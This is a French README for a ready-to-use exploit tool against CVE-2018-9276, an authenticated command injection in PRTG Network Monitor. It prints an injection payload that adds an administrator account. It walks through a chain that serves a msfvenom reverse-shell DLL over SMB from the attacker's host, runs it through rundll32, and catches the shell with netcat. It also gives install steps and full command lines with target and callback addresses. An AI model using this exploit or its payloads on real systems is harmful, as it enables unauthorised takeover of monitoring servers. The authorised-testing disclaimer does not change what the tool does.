
CVE-2018-9276 — PRTG Network Monitor < 18.2.39 Authenticated RCE. For educational purposes and authorized penetration testing only.
⚠️ Avertissement : Cet outil est destiné à des fins éducatives et à des tests d'intrusion autorisés uniquement. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite. Toute utilisation non autorisée est illégale.
PRTG Network Monitor est un outil de surveillance réseau développé par Paessler AG. Les versions antérieures à 18.2.39 sont vulnérables à une injection de commande authentifiée via la fonctionnalité de notifications, permettant à un attaquant disposant d'identifiants valides d'obtenir une exécution de code à distance (RCE) en tant que système local (le compte de service par défaut pour les installations PRTG).
Cette vulnérabilité a été découverte lors d'un test d'intrusion par Josh Berry et divulguée à Paessler AG, qui a publié un correctif le 20 avril 2018. Elle a été identifiée comme CVE-2018-9276.
PRTG intègre un système de notifications qui permet aux administrateurs d'exécuter des scripts lorsque certains événements se produisent. Pour empêcher l'exécution de code arbitraire, PRTG restreint les scripts pouvant être exécutés à ceux situés dans un répertoire spécifique sur le serveur. Par défaut, seuls deux scripts de démonstration sont disponibles :
Demo EXE Notification - OutFile.batDemo EXE Notification - OutFile.ps1Le script PowerShell de démonstration (OutFile.ps1) transmet la valeur du champ Paramètre d'une notification directement dans le script sans aucune désinfection. Cela permet d'injecter des commandes PowerShell arbitraires en les ajoutant après un point-virgule :
test.txt;net user attaquant P@ssw0rd! /add;net localgroup administrators attaquant /add
Lorsque PRTG exécute la notification, la commande injectée s'exécute avec les privilèges du système local.
Remarque : Le script batch (
OutFile.bat) n'est pas vulnérable — Paessler semble désinfecter l'entrée avant de la transmettre au fichier batch. L'injection ne fonctionne qu'avec le script.ps1.
L'exploit automatise les étapes suivantes :
1. Vérifier la version du serveur → confirmer que la cible est vulnérable
2. S'authentifier → obtenir un cookie de session valide
3. Configurer une notification de fichier → initialiser un fichier de sortie inscriptible sur la cible
4. Déclencher la notification de fichier → l'exécuter via /api/notificationtest.htm
5. Générer une DLL de reverse shell → msfvenom (windows/shell_reverse_tcp)
6. Héberger la DLL → la servir via SMB depuis la machine de l'attaquant
7. Configurer une notification de commande → injecter rundll32.exe <CHEMIN_UNC>,0 après le fichier de sortie
8. Déclencher la notification de commande → exécuter la DLL sur la cible
9. Attraper le reverse shell → nc -nvlp <PORT_LOCAL>
PRTG n'autorise que les scripts situés dans son répertoire d'installation à être exécutés en tant que notifications, nous ne pouvons donc pas simplement télécharger et exécuter un binaire arbitraire. Au lieu de cela, nous :
msfvenom pour générer un reverse shell Windows sous forme de fichier .dll..dll sur un partage SMB sur la machine de l'attaquant.rundll32.exe \\attaquant\partage\payload.dll,0 via le paramètre de notification PowerShell.rundll32.exe peut charger et exécuter une DLL à partir d'un chemin UNC, contournant ainsi la restriction sur les fichiers que PRTG peut exécuter directement.
msfvenom (partie du Framework Metasploit)netcat (nc)impacket — nécessaire uniquement pour le serveur SMB intégré (optionnel, voir --no-smb)pip install impacket
Si vous avez déjà un moyen d'héberger la DLL (par exemple
impacket-smbserver,exploit/multi/handlerde Metasploit, ou un autre serveur SMB), vous pouvez ignorer impacket en utilisant--no-smbet--shell-location.
git clone https://github.com/BardLaudian/cve_2018_9276.git
cd cve_2018_9276
pip install -r requirements.txt # seulement impacket
usage: cve_2018_9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
[--user USER] [--password PASSWORD] [--https]
[--no-smb] [--shell-location SHELL_LOCATION] [-v]
options:
-i, --host Adresse IP ou nom d'hôte de la cible
-p, --port Port de la cible (par exemple 80 ou 443)
--lhost Adresse IP locale pour le callback du reverse shell
--lport Port local pour le callback du reverse shell
--user Nom d'utilisateur PRTG (par défaut : prtgadmin)
--password Mot de passe PRTG (par défaut : prtgadmin)
--https Utiliser HTTPS (certificats auto-signés acceptés)
--no-smb Ignorer le serveur SMB intégré (payload déjà hébergé)
--shell-location Remplacer le chemin UNC vers la DLL du payload
-v, --verbose Activer la sortie verbeuse / de débogage
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 443 \
--lhost 10.10.14.5 \
--lport 4444 \
--user admin \
--password Sup3rS3cr3t \
--https
# Hébergez d'abord le payload vous-même :
impacket-smbserver partage /tmp -smb2support
# Exécutez ensuite l'exploit en pointant vers votre partage :
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444 \
--no-smb \
--shell-location '\\10.10.14.5\partage\payload.dll'
prtgadmin / prtgadmin) abaissent considérablement la barrière à l'exploitation.| Champ | Valeur |
|---|
| CVE | CVE-2018-9276 |
| Affecté | PRTG Network Monitor < 18.2.39 |
| Type | Injection de commande authentifiée |
| Privilèges | Nécessite des identifiants PRTG valides |
| Impact | Exécution de code à distance en tant que système local |
| Score CVSS | 7,2 (Élevé) |
| Correctif | PRTG 18.2.39 (publié le 20 avril 2018) |